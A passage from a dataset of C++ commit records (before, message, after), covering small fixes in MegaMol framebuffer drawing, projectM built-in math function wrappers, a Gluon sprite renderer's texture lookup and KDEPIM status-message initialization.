new_fbo.BindColourTexture();\n glClear(GL_COLOR_BUFFER_BIT);\n glTexImage2D(\n GL_TEXTURE_2D, 0, GL_RGBA, width, height, 0, GL_RGBA, GL_UNSIGNED_BYTE, _framebuffer->colorBuffer.data());\n glBindTexture(GL_TEXTURE_2D, 0);\n\n if (_framebuffer->depthBufferActive) {\n new_fbo.BindDepthTexture();\n glClear(GL_DEPTH_BUFFER_BIT);\n glTexImage2D(GL_TEXTURE_2D, 0, GL_DEPTH_COMPONENT, width, height, 0, GL_DEPTH_COMPONENT, GL_FLOAT,\n _framebuffer->depthBuffer.data());\n glBindTexture(GL_TEXTURE_2D, 0);\n }\n float right = (width + static_cast<float>(width)) \/ 2.0f;\n float left = (width - static_cast<float>(width)) \/ 2.0f;\n float bottom = (height + static_cast<float>(height)) \/ 2.0f;\n float up = (height - static_cast<float>(height)) \/ 2.0f;\n glm::vec3 pos_bottom_left = {left, bottom, 0.0f};\n glm::vec3 pos_upper_left = {left, up, 0.0f};\n glm::vec3 pos_upper_right = {right, up, 0.0f};\n glm::vec3 pos_bottom_right = {right, bottom, 0.0f};\n _utils.Push2DColorTexture(\n new_fbo.GetColourTextureID(), pos_bottom_left, pos_upper_left, pos_upper_right, pos_bottom_right,true);\n if (_framebuffer->depthBufferActive) {\n _utils.Push2DDepthTexture(\n new_fbo.GetDepthTextureID(), pos_bottom_left, pos_upper_left, pos_upper_right, pos_bottom_right, true);\n }\n\n new_fbo.Disable();\n\n \/\/ draw into lhs fbo\n if ((lhs_fbo->GetWidth() != width) || (lhs_fbo->GetHeight() != height)) {\n lhs_fbo->Release();\n lhs_fbo->Create(width, height, GL_RGBA, GL_RGBA, GL_UNSIGNED_BYTE,\n vislib::graphics::gl::FramebufferObject::ATTACHMENT_TEXTURE, GL_DEPTH_COMPONENT);\n }\n if (lhs_fbo->IsValid() && !lhs_fbo->IsEnabled()) {\n lhs_fbo->Enable();\n }\n\n glm::mat4 ortho = glm::ortho(0.0f, static_cast<float>(width), 0.0f, static_cast<float>(height), -1.0f, 1.0f);\n\n _utils.DrawTextures(ortho, glm::vec2(width, height));\n\n if (lhs_fbo->IsValid()) {\n lhs_fbo->Disable();\n }\n } else {\n return false;\n }\n return true;\n}\n} \/\/ namespace megamol::core::view\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ C++ Interface: BuiltinFuncs\n\/\/\n\/\/ Description: \n\/\/\n\/\/\n\/\/ Author: Carmelo Piccione <carmelo.piccione@gmail.com>, (C) 2007\n\/\/\n\/\/ Copyright: See COPYING file that comes with this distribution\n\/\/\n\/\/\n\n#ifndef _BUILTIN_FUNCS_HPP\n#define _BUILTIN_FUNCS_HPP\n\n#include \"Common.hpp\"\n#include \"Func.hpp\"\n#include <cmath>\n#include <cstdlib>\n#include <cassert>\n\n#include \"RandomNumberGenerators.hpp\"\n\n\/* Wrappers for all the builtin functions\n The arg_list pointer is a list of floats. Its\n size is equal to the number of arguments the parameter\n takes *\/\nclass FuncWrappers {\n\n\/* Values to optimize the sigmoid function *\/\nstatic const int R = 32767;\nstatic const int RR = 65534;\n\npublic:\n\nstatic inline float int_wrapper(float * arg_list) {\n\nreturn floor(arg_list[0]);\n\n}\n\n\nstatic inline float sqr_wrapper(float * arg_list) {\n\treturn pow(arg_list[0], 2);\n}\n\n\nstatic inline float sigmoid_wrapper(float * arg_list)\n{\n\tconst double t = (1+exp(-arg_list[0]*arg_list[1]));\n\treturn (fabs(t) > 0.00001) ? 1.0\/t : 0;\n}\n\nstatic inline float sign_wrapper(float * arg_list) {\n\nreturn -arg_list[0];\n}\n\nstatic inline float min_wrapper(float * arg_list) {\n\nif (arg_list[0] > arg_list[1])\nreturn arg_list[1];\n\nreturn arg_list[0];\n}\n\nstatic inline float max_wrapper(float * arg_list) {\n\nif (arg_list[0] > arg_list[1])\nreturn arg_list[0];\n\nreturn arg_list[1];\n}\n\n\nstatic inline float bor_wrapper(float * arg_list) {\n\nreturn (float)((int)arg_list[0] || (int)arg_list[1]);\n}\n\nstatic inline float band_wrapper(float * arg_list) {\nreturn (float)((int)arg_list[0] && (int)arg_list[1]);\n}\n\nstatic inline float bnot_wrapper(float * arg_list) {\nreturn (float)(!(int)arg_list[0]);\n}\n\nstatic inline float if_wrapper(float * arg_list) {\n\n\tif ((int)arg_list[0] == 0)\n\t\treturn arg_list[2];\n\t\/\/std::cout <<\"NOT ZERO: \" << arg_list[0] << std::endl;\n\treturn arg_list[1];\n}\n\n\nstatic inline float rand_wrapper(float * arg_list) {\nfloat l=1;\n\n\/\/ printf(\"RAND ARG:(%d)\\n\", (int)arg_list[0]);\nif ((int)arg_list[0] > 0)\n\tl = (float) RandomNumberGenerators::uniformInteger((int)arg_list[0]);\n\nreturn l;\n}\n\nstatic inline float equal_wrapper(float * arg_list) {\n\treturn (arg_list[0] == arg_list[1]);\n}\n\n\nstatic inline float above_wrapper(float * arg_list) {\n\nreturn (arg_list[0] > arg_list[1]);\n}\n\n\nstatic inline float below_wrapper(float * arg_list) {\n\nreturn (arg_list[0] < arg_list[1]);\n}\n\nstatic float sin_wrapper(float * arg_list) {\n\tconst float d = sinf(*arg_list);\n\treturn d;\n}\n\n\nstatic inline float cos_wrapper(float * arg_list) {\nreturn (cos (arg_list[0]));\n}\n\nstatic inline float tan_wrapper(float * arg_list) {\nreturn (tan(arg_list[0]));\n}\n\nstatic inline float asin_wrapper(float * arg_list) {\nreturn (asin (arg_list[0]));\n}\n\nstatic inline float acos_wrapper(float * arg_list) {\nreturn (acos (arg_list[0]));\n}\n\nstatic inline float atan_wrapper(float * arg_list) {\nreturn (atan (arg_list[0]));\n}\n\nstatic inline float atan2_wrapper(float * arg_list) {\nreturn (atan2 (arg_list[0], arg_list[1]));\n}\n\nstatic inline float pow_wrapper(float * arg_list) {\nreturn (pow (arg_list[0], arg_list[1]));\n}\n\nstatic inline float exp_wrapper(float * arg_list) {\nreturn (exp(arg_list[0]));\n}\n\nstatic inline float abs_wrapper(float * arg_list) {\nreturn (fabs(arg_list[0]));\n}\n\nstatic inline float log_wrapper(float* arg_list) {\nreturn (log (arg_list[0]));\n}\n\nstatic inline float log10_wrapper(float * arg_list) {\nreturn (log10 (arg_list[0]));\n}\n\nstatic inline float sqrt_wrapper(float * arg_list) {\nreturn (sqrt (arg_list[0]));\n}\n\n\nstatic inline float print_wrapper(float * arg_list) {\n\n\tint len = sizeof(arg_list)\/sizeof(float);\n\n\tfor (int i = 0; i < len; i++)\n\t{\n\t\tstd::cout << arg_list[0];\n\t\tif (i != (len-1))\n\t\t\tstd::cout << \" \";\n\t}\n\n\tif (len > 0)\n\t\tstd::cout << std::endl;\n\n\tif (len > 0)\n\t\treturn arg_list[0];\n\telse\n\t\treturn 0;\n}\n\nstatic inline float nchoosek_wrapper(float * arg_list) {\nunsigned long cnm = 1UL;\nint i, f;\nint n, m;\n\nn = (int)arg_list[0];\nm = (int)arg_list[1];\n\nif (m*2 >n) m = n-m;\nfor (i=1 ; i <= m; n--, i++)\n{\nif ((f=n) % i == 0)\nf \/= i;\nelse cnm \/= i;\ncnm *= f;\n}\nreturn (float)cnm;\n}\n\n\nstatic inline float fact_wrapper(float * arg_list) {\n\n\nint result = 1;\n\nint n = (int)arg_list[0];\n\nwhile (n > 1) {\nresult = result * n;\nn--;\n}\nreturn (float)result;\n}\n};\n\n#include <map>\nclass BuiltinFuncs {\n\npublic:\n \n static int init_builtin_func_db();\n static int destroy_builtin_func_db();\n static int load_all_builtin_func();\n static int load_builtin_func( const std::string & name, float (*func_ptr)(float*), int num_args );\n\n static int insert_func( Func *func );\n static int remove_func( Func *func );\n static Func *find_func( const std::string & name );\nprivate:\n static std::map<std::string, Func*> builtin_func_tree;\n static volatile bool initialized;\n};\n\n#endif\n<commit_msg>typo<commit_after>\/\/\n\/\/ C++ Interface: BuiltinFuncs\n\/\/\n\/\/ Description: \n\/\/\n\/\/\n\/\/ Author: Carmelo Piccione <carmelo.piccione@gmail.com>, (C) 2007\n\/\/\n\/\/ Copyright: See COPYING file that comes with this distribution\n\/\/\n\/\/\n\n#ifndef _BUILTIN_FUNCS_HPP\n#define _BUILTIN_FUNCS_HPP\n\n#include \"Common.hpp\"\n#include \"Func.hpp\"\n#include <cmath>\n#include <cstdlib>\n#include <cassert>\n\n#include \"RandomNumberGenerators.hpp\"\n\n\/* Wrappers for all the builtin functions\n The arg_list pointer is a list of floats. Its\n size is equal to the number of arguments the parameter\n takes *\/\nclass FuncWrappers {\n\n\/* Values to optimize the sigmoid function *\/\nstatic const int R = 32767;\nstatic const int RR = 65534;\n\npublic:\n\nstatic inline float int_wrapper(float * arg_list) {\n\nreturn floor(arg_list[0]);\n\n}\n\n\nstatic inline float sqr_wrapper(float * arg_list) {\n\treturn pow(arg_list[0], 2);\n}\n\n\nstatic inline float sigmoid_wrapper(float * arg_list)\n{\n\tconst double t = (1+exp(-arg_list[0]*arg_list[1]));\n\treturn (fabs(t) > 0.00001) ? 1.0\/t : 0;\n}\n\nstatic inline float sign_wrapper(float * arg_list) {\n\nreturn -arg_list[0];\n}\n\nstatic inline float min_wrapper(float * arg_list) {\n\nif (arg_list[0] > arg_list[1])\nreturn arg_list[1];\n\nreturn arg_list[0];\n}\n\nstatic inline float max_wrapper(float * arg_list) {\n\nif (arg_list[0] > arg_list[1])\nreturn arg_list[0];\n\nreturn arg_list[1];\n}\n\n\nstatic inline float bor_wrapper(float * arg_list) {\n\nreturn (float)((int)arg_list[0] || (int)arg_list[1]);\n}\n\nstatic inline float band_wrapper(float * arg_list) {\nreturn (float)((int)arg_list[0] && (int)arg_list[1]);\n}\n\nstatic inline float bnot_wrapper(float * arg_list) {\nreturn (float)(!(int)arg_list[0]);\n}\n\nstatic inline float if_wrapper(float * arg_list) {\n\n\tif ((int)arg_list[0] == 0)\n\t\treturn arg_list[2];\n\t\/\/std::cout <<\"NOT ZERO: \" << arg_list[0] << std::endl;\n\treturn arg_list[1];\n}\n\n\nstatic inline float rand_wrapper(float * arg_list) {\nfloat l=1;\n\n\/\/ printf(\"RAND ARG:(%d)\\n\", (int)arg_list[0]);\nif ((int)arg_list[0] > 0)\n\tl = (float) RandomNumberGenerators::uniformInteger((int)arg_list[0]);\n\nreturn l;\n}\n\nstatic inline float equal_wrapper(float * arg_list) {\n\treturn (arg_list[0] == arg_list[1]);\n}\n\n\nstatic inline float above_wrapper(float * arg_list) {\n\nreturn (arg_list[0] > arg_list[1]);\n}\n\n\nstatic inline float below_wrapper(float * arg_list) {\n\nreturn (arg_list[0] < arg_list[1]);\n}\n\nstatic float sin_wrapper(float * arg_list) {\n\tconst float d = sinf(*arg_list);\n\treturn d;\n}\n\n\nstatic inline float cos_wrapper(float * arg_list) {\nreturn (cos (arg_list[0]));\n}\n\nstatic inline float tan_wrapper(float * arg_list) {\nreturn (tan(arg_list[0]));\n}\n\nstatic inline float asin_wrapper(float * arg_list) {\nreturn (asin (arg_list[0]));\n}\n\nstatic inline float acos_wrapper(float * arg_list) {\nreturn (acos (arg_list[0]));\n}\n\nstatic inline float atan_wrapper(float * arg_list) {\nreturn (atan (arg_list[0]));\n}\n\nstatic inline float atan2_wrapper(float * arg_list) {\nreturn (atan2 (arg_list[0], arg_list[1]));\n}\n\nstatic inline float pow_wrapper(float * arg_list) {\nreturn (pow (arg_list[0], arg_list[1]));\n}\n\nstatic inline float exp_wrapper(float * arg_list) {\nreturn (exp(arg_list[0]));\n}\n\nstatic inline float abs_wrapper(float * arg_list) {\nreturn (fabs(arg_list[0]));\n}\n\nstatic inline float log_wrapper(float* arg_list) {\nreturn (log (arg_list[0]));\n}\n\nstatic inline float log10_wrapper(float * arg_list) {\nreturn (log10 (arg_list[0]));\n}\n\nstatic inline float sqrt_wrapper(float * arg_list) {\nreturn (sqrt (arg_list[0]));\n}\n\n\nstatic inline float print_wrapper(float * arg_list) {\n\n\tint len = sizeof(arg_list)\/sizeof(float);\n\n\tfor (int i = 0; i < len; i++)\n\t{\n\t\tstd::cout << arg_list[i];\n\t\tif (i != (len-1))\n\t\t\tstd::cout << \" \";\n\t}\n\n\tif (len > 0)\n\t\tstd::cout << std::endl;\n\n\tif (len > 0)\n\t\treturn arg_list[0];\n\telse\n\t\treturn 0;\n}\n\nstatic inline float nchoosek_wrapper(float * arg_list) {\nunsigned long cnm = 1UL;\nint i, f;\nint n, m;\n\nn = (int)arg_list[0];\nm = (int)arg_list[1];\n\nif (m*2 >n) m = n-m;\nfor (i=1 ; i <= m; n--, i++)\n{\nif ((f=n) % i == 0)\nf \/= i;\nelse cnm \/= i;\ncnm *= f;\n}\nreturn (float)cnm;\n}\n\n\nstatic inline float fact_wrapper(float * arg_list) {\n\n\nint result = 1;\n\nint n = (int)arg_list[0];\n\nwhile (n > 1) {\nresult = result * n;\nn--;\n}\nreturn (float)result;\n}\n};\n\n#include <map>\nclass BuiltinFuncs {\n\npublic:\n \n static int init_builtin_func_db();\n static int destroy_builtin_func_db();\n static int load_all_builtin_func();\n static int load_builtin_func( const std::string & name, float (*func_ptr)(float*), int num_args );\n\n static int insert_func( Func *func );\n static int remove_func( Func *func );\n static Func *find_func( const std::string & name );\nprivate:\n static std::map<std::string, Func*> builtin_func_tree;\n static volatile bool initialized;\n};\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * This file is part of the Gluon Development Platform\n * Copyright (c) 2010 Arjen Hiemstra <ahiemstra@heimr.nl>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"spriterenderercomponent.h\"\n\n#include <texture.h>\n#include <game.h>\n\n#include \"graphics\/item.h\"\n#include \"graphics\/engine.h\"\n#include \"graphics\/material.h\"\n#include \"graphics\/mesh.h\"\n#include \"graphics\/materialinstance.h\"\n#include \"engine\/gameobject.h\"\n#include \"engine\/asset.h\"\n\n#include <QtGui\/QMatrix4x4>\n#include <QtGui\/QColor>\n#include <QtCore\/QMimeData>\n#include <QtCore\/QVariant>\n\nREGISTER_OBJECTTYPE( GluonEngine, SpriteRendererComponent )\n\nusing namespace GluonEngine;\n\nclass SpriteRendererComponent::SpriteRendererComponentPrivate\n{\n public:\n SpriteRendererComponentPrivate()\n {\n item = 0;\n texture = 0;\n material = 0;\n size = QSizeF( 1.0f, 1.0f );\n color.setRgb( 255, 255, 255 );\n }\n\n GluonGraphics::Item* item;\n GluonEngine::Asset* texture;\n GluonGraphics::MaterialInstance* material;\n\n QColor color;\n QSizeF size;\n};\n\nSpriteRendererComponent::SpriteRendererComponent( QObject* parent )\n : Component( parent )\n , d( new SpriteRendererComponentPrivate )\n{\n\n}\n\nSpriteRendererComponent::SpriteRendererComponent( const SpriteRendererComponent& other )\n : Component( other )\n , d( other.d )\n{\n}\n\nSpriteRendererComponent::~SpriteRendererComponent()\n{\n delete d;\n}\n\nQString SpriteRendererComponent::category() const\n{\n return QString( \"Graphics Rendering\" );\n}\n\nvoid SpriteRendererComponent::initialize()\n{\n if( !d->item )\n {\n d->item = GluonGraphics::Engine::instance()->createItem( \"default\" );\n }\n\n if( d->material )\n {\n Asset* materialAsset = qobject_cast<Asset*>( d->material->parent() );\n if( materialAsset )\n materialAsset->load();\n\n Asset* texture = 0;\n if( d->material->property( \"texture0\" ).type() == QVariant::String )\n texture = gameProject()->findChild<Asset*>( d->material->property( \"texture0\" ).toString() );\n else\n texture = qobject_cast<Asset*>( GluonCore::GluonObjectFactory::instance()->wrappedObject( d->material->property( \"texture0\" ) ) );\n\n if( texture )\n texture->load();\n d->item->setMaterialInstance( d->material );\n }\n}\n\nvoid SpriteRendererComponent::start()\n{\n}\n\nvoid SpriteRendererComponent::draw( int timeLapse )\n{\n Q_UNUSED( timeLapse )\n\n if( d->item )\n {\n QMatrix4x4 transform = gameObject()->transform();\n transform.scale( d->size.width() \/ 2, d->size.height() \/ 2 );\n d->item->setTransform( transform );\n }\n}\n\nvoid SpriteRendererComponent::cleanup()\n{\n if( d->item )\n {\n GluonGraphics::Engine::instance()->destroyItem( d->item );\n d->item = 0;\n }\n}\n\nvoid SpriteRendererComponent::setSize( const QSizeF& size )\n{\n d->size = size;\n}\n\nQSizeF SpriteRendererComponent::size()\n{\n return d->size;\n}\n\nGluonGraphics::MaterialInstance*\nSpriteRendererComponent::material()\n{\n return d->material;\n}\n\nvoid SpriteRendererComponent::setMaterial( GluonGraphics::MaterialInstance* material )\n{\n d->material = material;\n\n if( d->item )\n {\n if(material)\n {\n d->item->setMaterialInstance( material );\n }\n else\n {\n d->item->setMaterialInstance(GluonGraphics::Engine::instance()->material(\"default\")->instance(\"default\"));\n }\n }\n}\n\nvoid SpriteRendererComponent::setMaterial( const QString& path )\n{\n setMaterial( qobject_cast<GluonGraphics::MaterialInstance*>( Game::instance()->gameProject()->findItemByName( path ) ) );\n}\n\nQ_EXPORT_PLUGIN2( gluon_component_spriterenderer, GluonEngine::SpriteRendererComponent );\n\n#include \"spriterenderercomponent.moc\"\n<commit_msg>Add name sanitizing to the string based texture asset locator<commit_after>\/******************************************************************************\n * This file is part of the Gluon Development Platform\n * Copyright (c) 2010 Arjen Hiemstra <ahiemstra@heimr.nl>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"spriterenderercomponent.h\"\n\n#include <texture.h>\n#include <game.h>\n\n#include \"graphics\/item.h\"\n#include \"graphics\/engine.h\"\n#include \"graphics\/material.h\"\n#include \"graphics\/mesh.h\"\n#include \"graphics\/materialinstance.h\"\n#include \"engine\/gameobject.h\"\n#include \"engine\/asset.h\"\n\n#include <QtGui\/QMatrix4x4>\n#include <QtGui\/QColor>\n#include <QtCore\/QMimeData>\n#include <QtCore\/QVariant>\n\nREGISTER_OBJECTTYPE( GluonEngine, SpriteRendererComponent )\n\nusing namespace GluonEngine;\n\nclass SpriteRendererComponent::SpriteRendererComponentPrivate\n{\n public:\n SpriteRendererComponentPrivate()\n {\n item = 0;\n texture = 0;\n material = 0;\n size = QSizeF( 1.0f, 1.0f );\n color.setRgb( 255, 255, 255 );\n }\n\n GluonGraphics::Item* item;\n GluonEngine::Asset* texture;\n GluonGraphics::MaterialInstance* material;\n\n QColor color;\n QSizeF size;\n};\n\nSpriteRendererComponent::SpriteRendererComponent( QObject* parent )\n : Component( parent )\n , d( new SpriteRendererComponentPrivate )\n{\n\n}\n\nSpriteRendererComponent::SpriteRendererComponent( const SpriteRendererComponent& other )\n : Component( other )\n , d( other.d )\n{\n}\n\nSpriteRendererComponent::~SpriteRendererComponent()\n{\n delete d;\n}\n\nQString SpriteRendererComponent::category() const\n{\n return QString( \"Graphics Rendering\" );\n}\n\nvoid SpriteRendererComponent::initialize()\n{\n if( !d->item )\n {\n d->item = GluonGraphics::Engine::instance()->createItem( \"default\" );\n }\n\n if( d->material )\n {\n Asset* materialAsset = qobject_cast<Asset*>( d->material->parent() );\n if( materialAsset )\n materialAsset->load();\n\n Asset* texture = 0;\n if( d->material->property( \"texture0\" ).type() == QVariant::String )\n {\n QString theName( d->material->property( \"texture0\" ).toString() );\n QString theObjectName = GluonObject::nameToObjectName( theName );\n texture = gameProject()->findChild<Asset*>( theObjectName );\n if(!texture)\n debug( QString( \"Texture failed to load - attempted to load texture named %1\" ).arg( theName ) );\n }\n else\n texture = qobject_cast<Asset*>( GluonCore::GluonObjectFactory::instance()->wrappedObject( d->material->property( \"texture0\" ) ) );\n\n if( texture )\n texture->load();\n d->item->setMaterialInstance( d->material );\n }\n}\n\nvoid SpriteRendererComponent::start()\n{\n}\n\nvoid SpriteRendererComponent::draw( int timeLapse )\n{\n Q_UNUSED( timeLapse )\n\n if( d->item )\n {\n QMatrix4x4 transform = gameObject()->transform();\n transform.scale( d->size.width() \/ 2, d->size.height() \/ 2 );\n d->item->setTransform( transform );\n }\n}\n\nvoid SpriteRendererComponent::cleanup()\n{\n if( d->item )\n {\n GluonGraphics::Engine::instance()->destroyItem( d->item );\n d->item = 0;\n }\n}\n\nvoid SpriteRendererComponent::setSize( const QSizeF& size )\n{\n d->size = size;\n}\n\nQSizeF SpriteRendererComponent::size()\n{\n return d->size;\n}\n\nGluonGraphics::MaterialInstance*\nSpriteRendererComponent::material()\n{\n return d->material;\n}\n\nvoid SpriteRendererComponent::setMaterial( GluonGraphics::MaterialInstance* material )\n{\n d->material = material;\n\n if( d->item )\n {\n if(material)\n {\n d->item->setMaterialInstance( material );\n }\n else\n {\n d->item->setMaterialInstance(GluonGraphics::Engine::instance()->material(\"default\")->instance(\"default\"));\n }\n }\n}\n\nvoid SpriteRendererComponent::setMaterial( const QString& path )\n{\n setMaterial( qobject_cast<GluonGraphics::MaterialInstance*>( Game::instance()->gameProject()->findItemByName( path ) ) );\n}\n\nQ_EXPORT_PLUGIN2( gluon_component_spriterenderer, GluonEngine::SpriteRendererComponent );\n\n#include \"spriterenderercomponent.moc\"\n<|endoftext|>"} {"text":"<commit_before>\/*\n broadcaststatus.cpp\n\n This file is part of KDEPIM.\n\n Author: Don Sanders <sanders@kde.org>\n\n Copyright (C) 2000 Don Sanders <sanders@kde.org>\n\n License GPL\n*\/\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <qdatetime.h>\n\n#include <klocale.h>\n#include <kglobal.h>\n\n#include \"broadcaststatus.h\"\n#include \"progressmanager.h\"\n\nKPIM::BroadcastStatus* KPIM::BroadcastStatus::instance_ = 0;\n\nnamespace KPIM {\n\nBroadcastStatus* BroadcastStatus::instance()\n{\n if (!instance_)\n instance_ = new BroadcastStatus();\n return instance_;\n}\n\nBroadcastStatus::BroadcastStatus()\n{\n}\n\nvoid BroadcastStatus::setStatusMsg( const QString& message )\n{\n mStatusMsg = message;\n if( !mTransientActive )\n emit statusMsg( message );\n}\n\nvoid BroadcastStatus::setStatusMsgWithTimestamp( const QString& message )\n{\n KLocale* locale = KGlobal::locale();\n setStatusMsg( i18n( \"%1 is a time, %2 is a status message\", \"[%1] %2\" )\n .arg( locale->formatTime( QTime::currentTime(),\n true \/* with seconds *\/ ) )\n .arg( message ) );\n}\n\nvoid BroadcastStatus::setStatusMsgTransmissionCompleted( int numMessages,\n int numBytes,\n int numBytesRead,\n int numBytesToRead,\n bool mLeaveOnServer,\n KPIM::ProgressItem* item )\n{\n QString statusMsg;\n if( numMessages > 0 ) {\n if( numBytes != -1 ) {\n if( ( numBytesToRead != numBytes ) && mLeaveOnServer )\n statusMsg = i18n( \"Transmission complete. %n new message in %1 KB \"\n \"(%2 KB remaining on the server).\",\n \"Transmission complete. %n new messages in %1 KB \"\n \"(%2 KB remaining on the server).\",\n numMessages )\n .arg( numBytesRead \/ 1024 )\n .arg( numBytes \/ 1024 );\n else\n statusMsg = i18n( \"Transmission complete. %n message in %1 KB.\",\n \"Transmission complete. %n messages in %1 KB.\",\n numMessages )\n .arg( numBytesRead \/ 1024 );\n }\n else\n statusMsg = i18n( \"Transmission complete. %n new message.\",\n \"Transmission complete. %n new messages.\",\n numMessages );\n }\n else\n statusMsg = i18n( \"Transmission complete. No new messages.\" );\n\n setStatusMsgWithTimestamp( statusMsg );\n if ( item )\n item->setStatus( statusMsg );\n}\n\nvoid BroadcastStatus::setStatusMsgTransmissionCompleted( const QString& account,\n int numMessages,\n int numBytes,\n int numBytesRead,\n int numBytesToRead,\n bool mLeaveOnServer,\n KPIM::ProgressItem* item )\n{\n QString statusMsg;\n if( numMessages > 0 ) {\n if( numBytes != -1 ) {\n if( ( numBytesToRead != numBytes ) && mLeaveOnServer )\n statusMsg = i18n( \"Transmission for account %3 complete. \"\n \"%n new message in %1 KB \"\n \"(%2 KB remaining on the server).\",\n \"Transmission for account %3 complete. \"\n \"%n new messages in %1 KB \"\n \"(%2 KB remaining on the server).\",\n numMessages )\n .arg( numBytesRead \/ 1024 )\n .arg( numBytes \/ 1024 )\n .arg( account );\n else\n statusMsg = i18n( \"Transmission for account %2 complete. \"\n \"%n message in %1 KB.\",\n \"Transmission for account %2 complete. \"\n \"%n messages in %1 KB.\",\n numMessages )\n .arg( numBytesRead \/ 1024 )\n .arg( account );\n }\n else\n statusMsg = i18n( \"Transmission for account %1 complete. \"\n \"%n new message.\",\n \"Transmission for account %1 complete. \"\n \"%n new messages.\",\n numMessages )\n .arg( account );\n }\n else\n statusMsg = i18n( \"Transmission for account %1 complete. No new messages.\")\n .arg( account );\n\n setStatusMsgWithTimestamp( statusMsg );\n if ( item )\n item->setStatus( statusMsg );\n}\n\nvoid BroadcastStatus::setTransientStatusMsg( const QString& msg )\n{\n mTransientActive = true;\n emit statusMsg( msg );\n}\n\nvoid BroadcastStatus::reset()\n{\n mTransientActive = false;\n \/\/ restore\n emit statusMsg( mStatusMsg );\n}\n\n}\n\n#include \"broadcaststatus.moc\"\n<commit_msg>Introduced a new bool member and didn't initialize it. Bad Till. No cookie for me tonight.<commit_after>\/*\n broadcaststatus.cpp\n\n This file is part of KDEPIM.\n\n Author: Don Sanders <sanders@kde.org>\n\n Copyright (C) 2000 Don Sanders <sanders@kde.org>\n\n License GPL\n*\/\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <qdatetime.h>\n\n#include <klocale.h>\n#include <kglobal.h>\n\n#include \"broadcaststatus.h\"\n#include \"progressmanager.h\"\n\nKPIM::BroadcastStatus* KPIM::BroadcastStatus::instance_ = 0;\n\nnamespace KPIM {\n\nBroadcastStatus* BroadcastStatus::instance()\n{\n if (!instance_)\n instance_ = new BroadcastStatus();\n return instance_;\n}\n\nBroadcastStatus::BroadcastStatus()\n :mTransientActive( false )\n{\n}\n\nvoid BroadcastStatus::setStatusMsg( const QString& message )\n{\n mStatusMsg = message;\n if( !mTransientActive )\n emit statusMsg( message );\n}\n\nvoid BroadcastStatus::setStatusMsgWithTimestamp( const QString& message )\n{\n KLocale* locale = KGlobal::locale();\n setStatusMsg( i18n( \"%1 is a time, %2 is a status message\", \"[%1] %2\" )\n .arg( locale->formatTime( QTime::currentTime(),\n true \/* with seconds *\/ ) )\n .arg( message ) );\n}\n\nvoid BroadcastStatus::setStatusMsgTransmissionCompleted( int numMessages,\n int numBytes,\n int numBytesRead,\n int numBytesToRead,\n bool mLeaveOnServer,\n KPIM::ProgressItem* item )\n{\n QString statusMsg;\n if( numMessages > 0 ) {\n if( numBytes != -1 ) {\n if( ( numBytesToRead != numBytes ) && mLeaveOnServer )\n statusMsg = i18n( \"Transmission complete. %n new message in %1 KB \"\n \"(%2 KB remaining on the server).\",\n \"Transmission complete. %n new messages in %1 KB \"\n \"(%2 KB remaining on the server).\",\n numMessages )\n .arg( numBytesRead \/ 1024 )\n .arg( numBytes \/ 1024 );\n else\n statusMsg = i18n( \"Transmission complete. %n message in %1 KB.\",\n \"Transmission complete. %n messages in %1 KB.\",\n numMessages )\n .arg( numBytesRead \/ 1024 );\n }\n else\n statusMsg = i18n( \"Transmission complete. %n new message.\",\n \"Transmission complete. %n new messages.\",\n numMessages );\n }\n else\n statusMsg = i18n( \"Transmission complete. No new messages.\" );\n\n setStatusMsgWithTimestamp( statusMsg );\n if ( item )\n item->setStatus( statusMsg );\n}\n\nvoid BroadcastStatus::setStatusMsgTransmissionCompleted( const QString& account,\n int numMessages,\n int numBytes,\n int numBytesRead,\n int numBytesToRead,\n bool mLeaveOnServer,\n KPIM::ProgressItem* item )\n{\n QString statusMsg;\n if( numMessages > 0 ) {\n if( numBytes != -1 ) {\n if( ( numBytesToRead != numBytes ) && mLeaveOnServer )\n statusMsg = i18n( \"Transmission for account %3 complete. \"\n \"%n new message in %1 KB \"\n \"(%2 KB remaining on the server).\",\n \"Transmission for account %3 complete. \"\n \"%n new messages in %1 KB \"\n \"(%2 KB remaining on the server).\",\n numMessages )\n .arg( numBytesRead \/ 1024 )\n .arg( numBytes \/ 1024 )\n .arg( account );\n else\n statusMsg = i18n( \"Transmission for account %2 complete. \"\n \"%n message in %1 KB.\",\n \"Transmission for account %2 complete. \"\n \"%n messages in %1 KB.\",\n numMessages )\n .arg( numBytesRead \/ 1024 )\n .arg( account );\n }\n else\n statusMsg = i18n( \"Transmission for account %1 complete. \"\n \"%n new message.\",\n \"Transmission for account %1 complete. \"\n \"%n new messages.\",\n numMessages )\n .arg( account );\n }\n else\n statusMsg = i18n( \"Transmission for account %1 complete. No new messages.\")\n .arg( account );\n\n setStatusMsgWithTimestamp( statusMsg );\n if ( item )\n item->setStatus( statusMsg );\n}\n\nvoid BroadcastStatus::setTransientStatusMsg( const QString& msg )\n{\n mTransientActive = true;\n emit statusMsg( msg );\n}\n\nvoid BroadcastStatus::reset()\n{\n mTransientActive = false;\n \/\/ restore\n emit statusMsg( mStatusMsg );\n}\n\n}\n\n#include \"broadcaststatus.moc\"\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2020 The Orbit Authors. All rights 